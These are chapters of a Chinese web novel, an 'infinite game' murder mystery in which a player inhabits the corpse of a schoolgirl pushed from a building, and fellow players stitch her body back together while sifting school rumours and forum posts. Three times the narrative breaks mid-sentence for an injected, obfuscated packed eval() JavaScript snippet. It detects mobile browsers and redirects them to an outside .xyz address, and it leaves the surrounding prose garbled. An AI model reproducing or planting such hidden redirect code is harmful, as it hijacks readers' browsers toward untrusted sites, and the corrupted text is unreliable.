谢柏雅拉开系统面板,看到【死亡进度】后面已经到达了100%,而【真相进度】还是昨天的10%,任务还是那八个字,也没显示完没完成。 但这算什么?她虽然身体“死”了,但精神与游戏同在?……太地狱了吧? 就在谢柏雅试图小范围地转动眼珠——主要是动其他地方她怕再把法医吓到——观察整个现场的时候,旁边突然传来一声厉斥。 “怎么就断定是自杀了!”是王胜梅老师的声音。 “诶诶,王老师你别激动……警察同志、老刘,抱歉抱歉,我们这位女老师不太能控制情绪,容易激动……”是教导主任陈国方老师的声音。 “我理解你们老师的心情,但案发现场很明显,就是跳楼自杀。”是一个陌生的警察声音,不是她这几天接触过的任何一名。 “但你们也说了没找到遗书!”王胜梅老师没有退让。 “这位……王老师是吧?”那个警察的声音有点无奈,“你也是这个学校的老师,你心里没点数吗?你们学校出了名的压力大,今年这都跳了第三个了,是不是自杀你们还不清楚?” ……算上她,已经跳了三个了?难道这才是副本名称的“连环自杀”案? ——但不对啊!其他两个不说,方映秋明明是被人推下七楼摔死的! 电光火石间,她突然理解了系统任务的意思! 【任务:捍生者权,替死者言!】 任务里的“生者”和“死者”,指的都是方映秋!在她活着的时候保障她的权利,在她死后替她查清案件的真相,抓到凶手! 这一刻,之前的一切谜题都迎刃而解。而谢柏雅的优势是她拥有死者死前两天的视角,她开始调动记忆,试图从回忆中寻找一些蛛丝马迹。 这时候,旁边的王胜梅老师还试图据理力争,“至少你们也要调查一下!你们连她的宿舍都没搜过,不然……” 陈国方把王胜梅拉到一边,压低声音,“王老师,你看这个,她们舍友在她枕头底下找到的。” 说着,他把一张用过的试纸递给了王胜梅,王胜梅一看试纸上“验孕”两个字,要说的话卡在嗓子里,不再开口。 ——验孕试纸上的显示,是阳性,已孕。 谢柏雅的视角看不见两人手上的东西,但她用脑袋想都知道那不会是什么好东西,而且,根本不是方映秋的东西。 她在这具身体里呆了两天了,她枕头下根本没有任何东西! 陈国方叹了口气:“王老师,我知道你也是为了那孩子好,但你也看到了,再调查下去……反而是对那孩子不好啊。” 王胜梅不开口,陈国方继续道,“王老师,你也是女人,你也该明白,她这个年纪,做了这种错事,一时想不开,也是正常的。” “怎么就成她做了错事了?”王胜梅的声音很冷,“这事是她一个人能做的?另一方呢?不该调查清楚?” 陈国方:“这事宣扬出去对学校不好,而且她家的情况,你可能不太了解,她父母那里……” 两人的声音渐渐轻了下去,像是走到更远的角落中了,谢柏雅无法再听清。 但光王胜梅前面几句话就让谢柏雅心里有了点苗头,难道,方映秋她…… 果不其然,老法医简单检查了一下尸体后,走到警察和两名老师身边,低声道:“死者从七楼摔下,内脏破裂,但确实存在疑似妊娠的迹象。” 摔成这样的尸体,根本不需要费心解剖,就能得到“怀孕”这个结果。 旁边那名叫老刘的警察叹了口气,不无惋惜地对王胜梅老师开口,“王老师,你们学校该抓紧对女生的教育了,这个年纪……还是得自尊自爱啊。” 王胜梅老师坚持:“就算确有其事,这件事也不是方同学一个人的问题!我希望警方再好好调查一下,方同学前两天已经开朗了许多,很可能不是……” “还能怎么调查?”老刘是这片辖区的辅警,这么多年都没有转正,现在接到一个学生跳楼自杀的案件,那么多自杀的证据摆在眼前,已经有点不耐烦,“她被人在外面搞大了肚子,怕被人发现丑事,受不了就跳楼了!还能怎么查?” “按照方同学的性格……确实是她会做出来的事。”陈国方在旁边叹气帮腔。 王胜梅有些气急,但一时又不知如何反驳——这听上去确实像方映秋的性格,但这两天方映秋的性格已经转变了很多,她变得开朗坚强起来…… 老警察不耐烦地挥了挥手,“好了,先按自杀的遗体处理,带……” “谁说按自杀处理了!” 又一个带着怒气的声音打断了老警察的话,他们转头,看到两个身穿警服的警察走了过来,其中一个正是昨天来学校调查的刑警支队长石兴旭,而另一个女警,连一刻都没有多待,直接走向了尸体。 石兴旭面上压着沉沉怒气,看向老警察,“我是刑警支队的支队长石兴旭,这名跳楼的女生方映秋,之前卷入过我们调查的一起凶杀案,她是重要证人,这起案件不一定是自杀!” 说着,他也不管老警察是什么反应,直接转向了陈国方,“陈老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14440027|153840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师,是你报的警?” 陈国方点头。 石兴旭又道:“为什么不报110,而是直接私下联系了辅警?” 陈国方愣了愣,“是这样,我和老刘是多年的朋友了,而且之前两起学生自杀都是他来处理的,情急之下就……下意识打了他的电话。” 老刘就是那位辅警。 “那又为什么不报120?” “这个报了,但120还在路上……”正说话间,救护车开进了学校,陈国方干笑,“这不是没有警察来得快吗……” 石兴旭深深看了他一眼,但也不再和他废话,而是走到了尸体前。 李思弦已经蹲在了尸体旁边,她的脸色看起来并不好看,虽然作为刑警已经见识了不少受害者,但乍一看见昨天还鲜活着的生命骤然逝去,她还是…… 而那双瞪大的、毫无生气的双眸,昨天下午还笑着和她说……“我相信李警官和石警官!” 李思弦深吸一口气,伸出手,缓缓合上了那双眼,低声道:“方同学,你安心,我们一定会还你一个公道。” 谢柏雅:……虽然很感谢你的承诺,但能不能不要合眼睛,她还想暗中观察呢! 不过,在那之后也没有多少可以观察的内容了,120判断了死亡后,石兴旭直接指挥警察将尸体抬去刑警支队。 “死者刚目睹了一起刑事案件,第三天就跳楼死亡,我们有理由怀疑两起案件存在共通性。” 谢柏雅察觉自己被装进了裹尸袋里,然后一路摇摇晃晃地抬到了警局,抬进了法医室。 “石队,现在还不能解剖。”她听到老法医在阻拦石兴旭。 “这是刑事案件!”石兴旭厉声道。 “但还没有正式并案,”老法医也有些无奈,“石队……你不要为难我们,现在这案子只能算自杀,除非你们再找出关联证据,下发正式文件并案,不然我们没有权利在不经过被害者家属的情况下,强行解剖。” 石兴旭不说话,随即接了个电话,“喂?李警官?宿舍和教室查到什么了吗?……她家长来了?好,我知道了。” 石兴旭和老法医相继离开,在那之后,她这个解剖室就陷入了沉寂。 深夜,赵法医一边走进解剖室,一边熟练地开始泡泡面泡面,一边嘟嘟囔囔。 “我怎么这么倒霉啊……莫名其妙被卷进一个游戏里,抽到的还是法医,第一夜就轮到我值夜班,真**太倒霉……” 还没嘟囔两句,本来空无一人的停尸间里,突然想起了“哗啦啦”和“咚咚咚”的声音。 赵法医端着泡面的手顿时僵住,冷汗瞬间侵染了后背。 他很清楚,今天法医室只有他一人值班,在场不可能再有第二个活人。 既然活人不可能……那就只有…… 他僵着脖子,将眼光缓缓挪到了停放尸体的柜子上。 “哗啦哗啦”——像是裹尸袋里有什么东西在动。 “咚咚咚咚”——像是停尸柜里有什么东西在敲门。 赵法医艰难地咽下口中的泡面,连嘴都来不及擦,便僵着步子,缓缓往停尸柜挪去。 “阿弥陀佛,上帝保佑,富强、民主、文明、和谐……” 他口中不断念着中西合璧的祈祷壮胆,一步步走到停尸柜前,随手拿起个什么东西壮胆,咽了口口水,颤抖着手,摸上了停尸柜的柜门。 还没等他使力,那柜门动了两下,突然自己从里面打开了! 与此同时,一只摔得骨骼扭曲、血肉相连的右手“唰”一下伸了出来。 13. 第 13 章 “救、救——唔……” 他刚想张口放声惊叫,但那具“尸体”好像已经很了解他的德性,眼疾手快,用那只伸出来的手直接捂住了他的嘴巴! “唔唔……”甚至按在他嘴巴上的手上还残存着冰凉的肉屑!! 救命啊!!这不是推理游戏吗怎么变成了恐怖游戏!!!! “比……最……”他听到停尸的隔间里传出来了模糊的声音。 那声音从破裂的气管中传出,古怪沙哑,根本不像人发出来的!! 是、是叫他闭嘴?小赵都不知道自己是怎么有勇气点头答应的,但就在他点头后,那只手松开了。 她(他?它??)伸出的那只手用力拉了拉自己停尸柜的把手,似乎想将自己从推拉门里拉出来,但使不上力。 那只手停顿了几秒,随即伸出一根疑似食指的东西,指了指小赵。 “我、我??”小赵又被吓得一个哆嗦,“你、您、您是让我帮你开门?” 尸体竖起大拇指。 要、要开吗?万一是什么恶鬼,开门岂不是正好把她放出来了?但如果不开,万一、万一…… 他还在纠结中,但那只手已经不耐烦了,“哐哐”敲了两下隔板。 “开、开开这就开!!”小赵顾不得许多,赶忙伸手拉开隔间,将存放尸体的移动拉杆“欻拉”一下拉了出来。 这下他看清了,那只右手……真的是从裹尸袋里伸出来的!!它左右晃了一下,随即以一种人类无法企及的角度,直接扭了180度,反手扣住了裹尸袋的拉链,“唰”一下拉了开来! 小赵猛地往后一窜,几乎不敢放眼去看裹尸袋,闭着眼睛装傻。 下一秒,他听到裹尸袋“哗啦哗啦”的声音,像是有东西从里面坐了起来,然后“咚”一声,像是下地了。 那、那只鬼站起来了??向他走来了??? 小赵再也绷不住,“噗通”一下跪了下来,“鬼爷爷鬼奶奶鬼大仙求求你放过我吧!!我就是一个无辜的路人我给您磕头了!!” 边嚎边“咚”一声给“鬼”磕了个响头,磕下后,好像没听到鬼的动静了,于是便就着磕头的姿势,微微眯开半只眼睛,想要看看“鬼”的反应。 他还以为自己这个姿势,最多只能看到鬼的双脚,结果谁知道,眼睛刚一睁开一条缝,就和两只突出眼眶的眼球四目相对!! ——这鬼也四肢着地!趴在地上!他一个响头磕下去,直接和这只鬼对磕了一个!!! “鬼、鬼啊啊啊啊——”小赵再也忍不住,一嗓子嚎了出来。 * 石兴旭今天在案发现场和附近走访了一天,几乎废寝忘食,一直到临近半夜才回警局,只觉得身心俱疲。 他没想到今天死的会是方映秋,或者说他没想到,现在待在方映秋身体里的那个人,会死。 这是个超现实的游戏,他们作为玩家,如果在未通关的时候就死了,会怎么样?会不会影响到他们的现实?那谢柏雅…… 他试图联系系统,但没有任何回应,想问弹幕,但却得到了弹幕的回复:“任何与系统相关的事情都会被系统屏蔽,发出来了也看不到”,遂作罢。 他没有办法,只能拼命奔走于案发现场,试图以最快速度破案,完成游戏,然后回到现实,查看谢柏雅的情况! 他今晚回警局,就是想要趁半夜人少,直接绕过程序解剖尸体——他特意查过,今晚值班的是那小赵法医,而根据他的观察,这名法医多半也是“玩家”,那他就能和那名玩家联合,直接解剖…… 结果刚走到方映秋的解剖室门口,突然就听里面传来了一声凄厉的惨叫“鬼啊!!!” 石兴旭:? “发生什么事了!”他一把把门推开,一眼就看到了解剖台旁的地面上,跪着两个……额……正在互相磕头的……人?? 石兴旭:…… 正在地上对拜的两个人(??)一齐看向了他,小赵仿佛见到了救兵,直接连滚带爬地过来抱住石兴旭的大腿:“石石石石队!诈诈诈诈尸了!!” 诈尸?谁? 不远处那具尸体还“趴”在地上,或者准确来讲,是想要支棱起来,但只能勉强趴着——她似乎还不能自如地控制自己的躯体。 谢柏雅确实还不能自由地控制自己的身……尸体,但这不再是契合度的原因,单纯只是因为,从七楼摔下来的时候,身体多处骨折破裂,就算能继续操控身体,也没法像常人一般行走了。 她一下地就被迫趴在了地上,想要制止这菜鸟的惊呼都没有力气,只能眼睁睁看着他的嚎叫声把人引了进来,还好来的也是熟人,不然她只能眼睛一闭继续装死了。 看着门口也有些呆愣的石兴旭,她想开口打招呼,但在坠楼时她的气管和声带都已经破裂,甚至还横插了一截凸起的颈骨在声带旁,大大影响了这具身体的说话功能。 “嘶、嘶心……”连翘舌音都发不出了! “石哥那个尸体在吐信子啊!!她是蛇妖附身了吗!!” 谢柏雅:…… 她放弃正常沟通,勉强调动了扭曲又无法协调的四肢,慢慢向门口的两个人“爬”了过去。 “石哥她过来了啊啊啊她爬过来了啊啊啊啊!!” [雾草开屏雷击!!什么玩意儿,怎么有个不成人形的东西在地上爬啊!!] [我从没见过这么形象的(扭曲)(阴暗爬行)啊啊啊我们不是推理游戏吗我怕鬼啊啊] [地上这掉落的是尸体吗?等等!!这个尸体怎么会动会说话!卧槽见鬼了吗!!] [不可能!绝对不可能!我们看的玩家是扮演的警察!!警局怎么会有鬼!!] [等等……地上那个阴暗爬行的尸体是不是有点眼熟……是不是昨夜跳楼的那个女玩家??] [我靠,是方姐啊!!是霸王花!!作为霸王花一百年老粉保证这一定是方姐!!方姐化成灰我都认得!!] [啊啊啊啊家人们我刚刚又去看了一眼方姐直播间,她复播了!!她又能看了!!还是这局游戏!!她还没有出局!!] [不可能,她不是昨天就死了吗?直播间都关了!怎么可能出局了还能重新接入?] [骗你我这辈子都得不到方姐翻牌子!!不说了我去方姐那里看了!] 直播间的人数渐渐开始下降,想必是一个个都离开石兴旭的视角,转而去“死而复生”的谢柏雅那里了。 而石兴旭现在无心管这些弹幕,他的面前现在有一具疑似他挚友附身的、正在阴暗爬行的尸体,他的旁边还有一个究极菜鸟、聒噪鬼叫的猪队友,他没办法,只能先手动给聒噪的小赵消音。 “……你先闭嘴。”石兴旭随即“哐”一声关上解剖室的门,没忘了从里面反锁。 然后,他才将目光重新放到了地上的谢柏雅身上。 “你……”他深吸一口气,“你是……方映秋?” 地上的尸体摇了摇头,又点了点头。 “你是谢……你是和我们一样的玩家?”他追问。 这次地上的尸体果断地点头。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14449650|153840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你没有出局?还能继续游戏?现在你和我们相认……是要一起合作破案?” 他问一句,地上的尸体就跟着一次头,看上去虽然无法控制身体,但神智十分清醒。 “别、别点头了……”小赵颤颤巍巍开口,但好歹不鬼叫了,“你、你摔下来的时候本来颈骨有几截就快断了,你再点头就……啊,断了。” 小赵话音未落,谢柏雅因为高空坠落造成的剧烈撞击,导致本就摇摇欲坠的脖颈子“咵嚓”一声裂了开来。 好在她眼疾手快,伸手托住了差点掉到地上的头——还好后脖子还有皮肉勉强连着,才没有真的掉落在地。 [卧槽,这是什么抱头痛哭的具象化场面] [路易十六看了会流泪] [不愧是霸王花!头掉了还没死!这样了还能爬起来继续游戏!!给霸王花打call!!!] [\方姐/\方姐/\方姐/] 谢柏雅捧着掉了但没完全掉的脑袋,艰难地试图把它按回脖子上,虽然勉强装上了,但只能勉强顶着,还是有掉落的风险。 谢柏雅想了想,调动极致不协调的身体,伸出颤抖扭曲的手,向面前两个人伸去。 石兴旭下意识伸手,想要扶住她,然后“啪”地一声,被谢柏雅拍掉,她凸出眼眶的眼珠疑似还翻了个白眼。 石兴旭:……? 那只手还是抬着,勉强伸出一根食指,指向石兴旭身后的小赵。 石兴旭:……不要自己扶,但要这个菜鸟扶? “我、我??”小赵颤抖地指向自己,“你、你要我干什么?” 谢柏雅指了指自己的脖子,又指了指自己托着的脑袋。 小赵已经被吓迷糊的脑袋完全不明所以,还是石兴旭比较冷静,他思考了一下,“你是……要他帮你缝合脑袋?” 谢柏雅竖着的食指换成了大拇指。 “缝、缝缝……不是,这没法缝啊!”小赵欲哭无泪,“你是脊柱和颈骨都断了,光皮肉我还能缝一下,但骨头实在没办法啊!!” 石兴旭思考:“……那,拿什么东西粘一下?” “什么东西?”小赵快哭出来了。 “比如502……胶水什么的?” 谢柏雅竖着的大拇指换成了中指。 502!!什么鬼才能想到用502黏贴脊柱啊!而且真用502粘上了她怎么转动脖子啊!!她还要操控着这具尸体去搜证破案呢! [方姐看看商店呢,没准商店有你要的东西。] [楼上新人吧?这是霸王花第一局游戏,刷礼物和商店的功能都没有……卧槽!!她的直播间可以刷礼物了!!] [卧槽卧槽真的假的!!] [友谊的小船*10,卧槽真的!!可以刷礼物了!我八百年前就想给方姐刷礼物了啊啊啊] 瞬间,谢柏雅的直播间屏幕上就刷满了各种[友谊的小船][航空母舰][领航者飞船][太空星舰],礼物的特效炸得整个屏幕烟花缭绕,看一眼都仿佛要被闪瞎眼。 谢柏雅只能从满屏的光效中勉强扒拉出几个关键词,“商店”。 是系统商店?难道系统商店有能帮她修复身体的道具? 她拉开系统面板,正想看看有没有新增的商店入口,突然,“咚咚咚”的敲门声从解剖室门外传来。 “小赵?鬼叫什么呢小赵?”是夜间巡逻的同事,他见门内没人回答,伸手按了按门把,“搞什么呢?咋还把门锁了?开门啊小赵!” ——有人来了! 14. 第 14 章 “哗”一下,解剖室的大门拉开,小赵满脸冷汗的表情出现在了门后。 “在、在呢,怎么了?”他只把门打开一条缝,似乎想要挡住里面什么东西。 “你们解剖室怎么了?怎么这么大动静?”巡逻的同事满脸狐疑,随即看向小赵,发现他面色不对,“你怎么……” 说着,这位警察同志职业中的敏锐性被勾了起来,脸色一变,就要摸上腰后的警棍,压低声音问他:“你被劫持了?” 小赵:??? “不不不……”眼见这同事开脑洞的方向要出大问题,小赵赶忙把门全部拉开。 同事探头进去,看到解剖台旁站着石兴旭,而解剖台上有一具已经被搬出裹尸袋的尸体,看着情形还算正常,就是这尸体的姿势怎么有点奇怪…… 小赵赶忙上前一步,挡住同事探究尸体的视线,“是这样,石队还是对早上那个自杀案有点怀疑,就来看看,”说着,他有些尴尬地挠头,赔笑道,“是我被他吓到了,这大半夜的,还以为……” 同事也松了口气,“早说啊,你这么遮遮掩掩的干啥?” “这不是……”小赵压低声音,“这案子现在还是自杀,没经过家长同意,我们不方便嘛?” 同事脸色一变,“小赵,还有石队,你们可能不能坏了规定啊!不经家属同意的尸体不能解剖!而且你没听说吗?今天那对父母去学校闹了,恨不得拉个横幅在校门口大喇叭广播要钱,这要是被他们发现你们擅自解剖……” “不会的,你放心,”石兴旭走了过来,“纪律我懂,不会动刀的。” “行,石队的人品我放心,那你们继续,我就当没看到。” 同事离开后,小赵抹了把冷汗,随即看向石兴旭——目光中又多了几分钦佩。 刚刚千钧一发之际,小赵傻在原地,结果石兴旭二话不说,弯腰抱起尸体,给人放解剖台上,随即示意小赵开门。 这反应能力还是其次,但和这么一具尸体近距离接触……这活儿如果换他来怕是已经当场晕倒了。 石兴旭大概也是清楚他这幅德性,所以根本没考虑小赵,直接就自己上手抱了尸体。 谢柏雅等巡逻的警察走后,趴在解剖台上动了动,开口的话还是有些模糊,但勉强能听清。 “……你刚刚一抱,又碎了几根骨头。” 石兴旭看她,“刚刚那情况,你能自己爬上去?” 谢柏雅叹了口气,“不嘶怪你……”她托着脑袋,手动“转头”,滴溜溜的目光看向了小赵,“但他拼起来更难了。” 她刚刚已经看过系统商店了,这种游戏统一的商店,当然没有什么针对性的东西,更何况她现在可能是“主播等级”不够,只能解锁第一个内容,后面的全是“???” 那唯一解锁的一个就是“传送门”,她扫了一眼道具说明,这东西有点像那种隧道,在A地和B地放两个联通的门,就可以在两地自由穿梭——谢柏雅对此的评价是“鸡肋”。 光是必须先肉身先去到那两个地方,就限制了这玩意儿的自由度。 小赵走过来,小心翼翼地拨开谢柏雅的……血肉,看了眼里面的骨骼,“这真不是我不想帮忙。主要是,就说四肢吧,你双腿的骨骼都碎得差不多了,就算真的放在临床上,那也是几个小时打底的大手术,更何况我是法医……” “那声带呢?”谢柏雅指了指自己的脖子。 她现在根本无法长篇大段地说话,说简短的话都口齿不清,表达起来太难了。 小赵又扒拉开她的脖子看了一眼,“……可以试试,但我的修复知识肯定没有临床专业的好。” 也就是仗着谢柏雅已经“死”了,他才敢提“试试”。 “等等,临床?”谢柏雅想到了什么,她看向石兴旭,“你之前不是调查出,学校里有几名医学背景的老师吗?徐婉排除嫌疑了吗?” 光这一句不算太长的句子,她就说得舌头打结、嗓子眼漏风,石兴旭费了好大劲才听明白。 “徐婉?”石兴旭翻了翻笔记,“有不在场证明,排除了,怎么了?” “她是临床专业的,也是玩家。”谢柏雅很肯定,“而且如果要查案,我们也需要她的帮忙。” 谢柏雅自己是被害者的视角,小赵和石兴旭是法医和刑警视角,如今,他们还需要徐婉来提供校园中的老师视角,凑齐这最后一块拼图。 谢柏雅虽然也拿了学生的身份卡,但关键线索一问三不知,连记忆都没继承多少,怕是学校里人都没认全。 石兴旭点头,拿出手机,“口供记录上有她的号码,我联系她。” 虽然已经是深夜,但事关“任务”,徐婉身为玩家显然也知道利害,在石兴旭表露身份后,当即答应了现在就来警局和他们汇合。 半小时后,石兴旭在警局门口接了徐婉,将她引向解剖室的方向。 “不是说还有两名玩家吗?”走在路上,徐婉好奇地问他,“其中一名是法医,那剩下那名呢?” “她……不方便出门,也在解剖室等我们。” 徐婉点点头,推测道,“也是你们警察?还是什么相关人士?” 石兴旭难得开口的时候有点犹豫:“……算是相关人士吧。” 被害者本人,那可真是太相关了。 到了门口,石兴旭推开解剖室的门,让徐婉进去,见到小赵后,两人互相打了招呼,徐婉四周看了看,“另一名玩家呢?” 小赵深吸一口气,“徐小姐,你做好心理准备,千万别害怕……” 说着,他指了指解剖台——上面那具摔得不成人形的尸体。 解剖台上,谢柏雅缓缓抬起手,勉强摆动两下,打了个有好的招呼,“泥嚎,沃斯方映秋,窝门,坚果的。” 徐婉:…… 看着眼前这“诈尸”的一幕,纵使有了心理准备,但小赵还是倒吸一口凉气,随即看向旁边的徐婉。 他从她进门起就做了一级戒备,如果旁边的徐婉发出什么尖叫的动静,一定要第一时间抢先冲上去捂住她的嘴。 那种被尸体捂嘴的恐怖经历,自己经历过一遍就够了,旁边这女玩家看着就不像胆大的类型,被尸体捂一把还不得晕过去!! 结果出乎两人意料之外的,徐婉看到诈尸的谢柏雅,居然没有害怕,虽然有压低声音的惊呼——但那声“呀”的惊呼中,明显是兴奋的情绪压倒了惊慌。 ……兴奋!? “行尸走肉!我最爱的电视剧!好家伙!这游戏终于有点好玩的东西了吗!?” 同样做好警戒的石兴旭:…… “但不对呀……原来现实里诈尸的尸体还会改变口音吗?” 目瞪口呆的小赵:…… 他看了看不成人形的谢柏雅、淡定的石兴旭、兴奋又疑惑的徐婉…… ——这游戏是只有他一个正常玩家吗!! 不管怎么说,他们四个玩家终于还算顺利地汇合了。 听他们说了来意后,徐婉戴上手套,扒拉着谢柏雅的脖子看了看声带,“……还行,把骨头挑出来就可以缝了,不过,你们解剖室有肠线吗?” 肠线是平时外科手术专用的缝合线,但解剖室一般是不备的,小赵摇头,石兴旭放下手中的袋子——他刚刚出门除了接徐婉以外,还顺道去买了点东西。 “现在是深夜,24小时的便利店里只有这个。”他从袋子里拿出一盒便携针线包。 徐婉:“……我是没什么意见,就看方姐……” 谢柏雅犹豫了一下,这问题属实问到了她的知识盲区:“会有什么副作用吗?” “可能有点……喇嗓子?” “那就这个了。”反正她这具身体也没有触觉。 徐婉开始穿针引线,边干活边道:“那骨骼怎么办?” 石兴旭“哗啦啦”倒出一大袋502胶水。 谢柏雅皱眉——当然她这个身体现在看不清表情:“用来粘骨头我没什么意见,但关节处,我还是要动的。” 石兴旭又“哗啦啦”倒出一大袋解胶剂。 谢柏雅:…… “那颈骨呢?”颈骨一用解胶剂不就又掉脑袋了吗? 石兴旭又“砰”一声倒出一个护颈枕。 谢柏雅:……?? 石兴旭把护颈枕拆开,这款还有脖子前面的支撑——足够把脑袋托住了。 小赵目瞪口呆:“你是什么哆唻A梦吗……” 什么叫效率!一眨眼的功夫人家都已经把“手术器材”给他们准备好了! 不管怎么说,尸体缝合手术正式开始,大概是缝尸体的难度远比缝合活人小,徐婉边给谢柏雅“做手术”,还边分心给大家提供学校里的线索。 “学校那里,所有消息明面上都被教导主任压下去了,但学生间多多少少还是有些流言。不过我分辨了一下,大多数流言都是无稽之谈。”她看了谢柏雅一眼,似乎是在思考,怎么在她这个“当事人”面前委婉一点。 谢柏雅动了动眼珠,在她缝合好声带后,开口,“不用顾虑,直接说就行。我们现在需要知道的就是最原始的线索。” 徐婉于是直言:“他们传死者是因为学习不好,又意外怀孕,所以才想不开跳楼自杀的。” 谢柏雅:“意外怀孕不是假的,但不是自杀,我……方映秋是被人用纸条约到育德楼七楼,然后推下去的。” 小赵一愣:“真不是自杀?但现场和尸体身上,都没有发现类似的纸条啊。” 石兴旭开口,“肯定是凶手拿走了。育德楼的监控只拍到方映秋一人进入天台,没有拍到第二个人,凶手连监控都能掉包,纸条这种事不可能想不到。” 他虽然推测到方映秋不是简单的自杀,但现在“被害者”亲口承认又是另一回事,“你看到凶手的脸了吗?” 谢柏雅刚想摇头,但想想现在还不方便,只能开口:“没有。” 她看向徐婉,“既然流言里提到了孩子,那有没有提到过孩子的父亲?” 徐婉接连点出了几个被传言是死者孩子的“父亲”的人名,谢柏雅听了,有校外的那几个小混混,有他们班长李凯亮,甚至连老师都没放过,校长也都被传了进去。 “校长?他一年都不去学校几次,为什么方映秋会和他有传言?”石兴旭皱眉。 徐婉的脸色有点差劲,“……方映秋的助学金审批人,是要校长签字的,他们都说全校那么多人,为什么就偏偏方映秋申请上了?” 这需要问为什么吗?谢柏雅闭了闭眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14458173|153840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到方映秋的褪色卷边的校服、二手的教学用具、连草稿纸都省着用的拮据,甚至晚上睡觉都需要用校服当被子来保暖……但这些似乎他们都看不见一样,只会嘴皮子一碰,张口就理直气壮地质问“她凭什么申请上?” 不过话又说回来,她对这个校长确实也没什么好印象。 谢柏雅追问:“谣言的话,也总得有个源头,你有注意到源头是从谁嘴巴里流传的吗?” “怀孕”这件事,按理来说不会有太多人知道。 徐婉摇头,“不是从谁的嘴巴里,”她停下正在给谢柏雅粘腿骨的动作,从口袋里拿出手机,点开一个论坛,“是从学校的论坛上。” 现代社会,手机已经是所有人的生存工具,哪怕是这种住宿学校也不例外,只不过平时手机都被老师锁在柜子里,只有晚上下课后,学生们才能拿到手机。 但就算只有这么点时间,也足够这些可怕的谣言发酵了。 谢柏雅双臂的骨头已经被粘的差不多了,她从徐婉手上接过手机,想要滑动看看论坛,但…… “啪嗒”一声,她手掌上没有捯饬干净的碎肉掉在了屏幕上,顿时断触。 “嘎嘣”一声,她手指上扭曲的骨头不小心戳出了血肉,再次断触。 谢柏雅:…… 小赵捂着眼睛,对这一幕不忍直视。 石兴旭将她的碎肉捡起来重新粘到她手上,“我来帮你滑,你要看什么?” “这个wwp是谁?”谢柏雅示意了一下一个帖子的标题。 那个帖子的标题是《如果方的baby真的是老大的,那她的紫砂会不会和wwp有关啊?》 学生们在讨论那些外校的人或者校内的学生的时候,大多都是用的姓氏,但唯独这个人,他们多了一层加密,用了缩写。 徐婉看了一眼,“这个wwp……是王胜梅老师。” 谢柏雅楞了一下,随即想起曾经似乎确实听到学生们的对话中,用“王巫婆”指代王胜梅老师。 谢柏雅把帖子从头翻到尾,楼主煞有介事的分析,对“校长和王胜梅”和“校长和方映秋”两个谣言都言之凿凿,仿佛亲眼目睹一样。 “……这是明晃晃的诽谤!”徐婉的语调有些气愤,但强迫自己冷静,继续给谢柏雅“手术”。 “对啊,你们那个王老师明明是好人!”小赵也在旁边开口,“今天早上学校想直接定性是自杀案件,还是你们那个王老师一直在反对!” 谢柏雅点头,“她对方映秋,应该没有杀机。”甚至还几次三番替她解围,如果是凶手,实在没有必要。 “从她的行为逻辑上,也不像凶手。”石兴旭补充。 谢柏雅让他退回论坛页面,随即隔空指了几个帖子,“这个、这个、还有刚刚那个,这三个帖子应该是一个人发的。” 小赵一直盯着屏幕,“但都不是一个账号啊……我去方姐,你不会觉醒了什么特异功能吧!能隔着网线看到对方的长相!?” 谢柏雅无语了一下,旁边的石兴旭接口向他解释,“他们的措辞习惯和标点符号用法是一样的,从文字用语来判断大概率是一个人。” 谢柏雅看了石兴旭一眼,“你们警方能查到这几个名字所属的ip吗?” 石兴旭沉吟,“可以查,但现在最麻烦的点是,案件被定性成了自杀,在证明是谋杀、又或是能和前一案关联前,技术部也没有权利调取个人信息。而且,被害者的父母不好搞。” 小赵挠了挠头,“刚刚巡逻的同事不是说,方姐的父母去校门口讨公道了吗?说明很舍不得她吧,我们如果请求他们,应该能先申请到解剖?到时候申请进行DNA比对,至少能找出孩子的父亲。” 说着,他走到样本箱前,拿出一管,“之前尸体刚刚送来的时候,我就偷偷保留了一点羊水样本。” 羊水中存在胎儿DNA,倒是可以和亲生父亲做个鉴定。 “干得好。”谢柏雅这下倒是对小赵改观了,“但从被害者父母那儿走不通,他们去学校闹,不是为了给方映秋讨回公道,是为了榨取她的剩余价值——再问学校掏一笔封口费。” 她早已从种种线索中推测出方父方母的性格,并不想做无用功。 “啊?”小赵挠了挠头,眼中闪着心智纯澈的目光,似乎不能理解为什么会有父母这么对孩子。 徐婉给谢柏雅上好最后的胶水,缝好皮肉,直起身,叹了口气,给了小赵一点社会的毒打。 “如果真的在乎自己的女儿,会第一时间是去学校闹事,而不是先来认领女儿的遗体吗?” “对哦……那我们现在怎么办?” 谢柏雅从手术台上“唰”地做起来,试图活动一下刚刚修复好的身体,“我们去找证据,直接从刑事方向定案。” 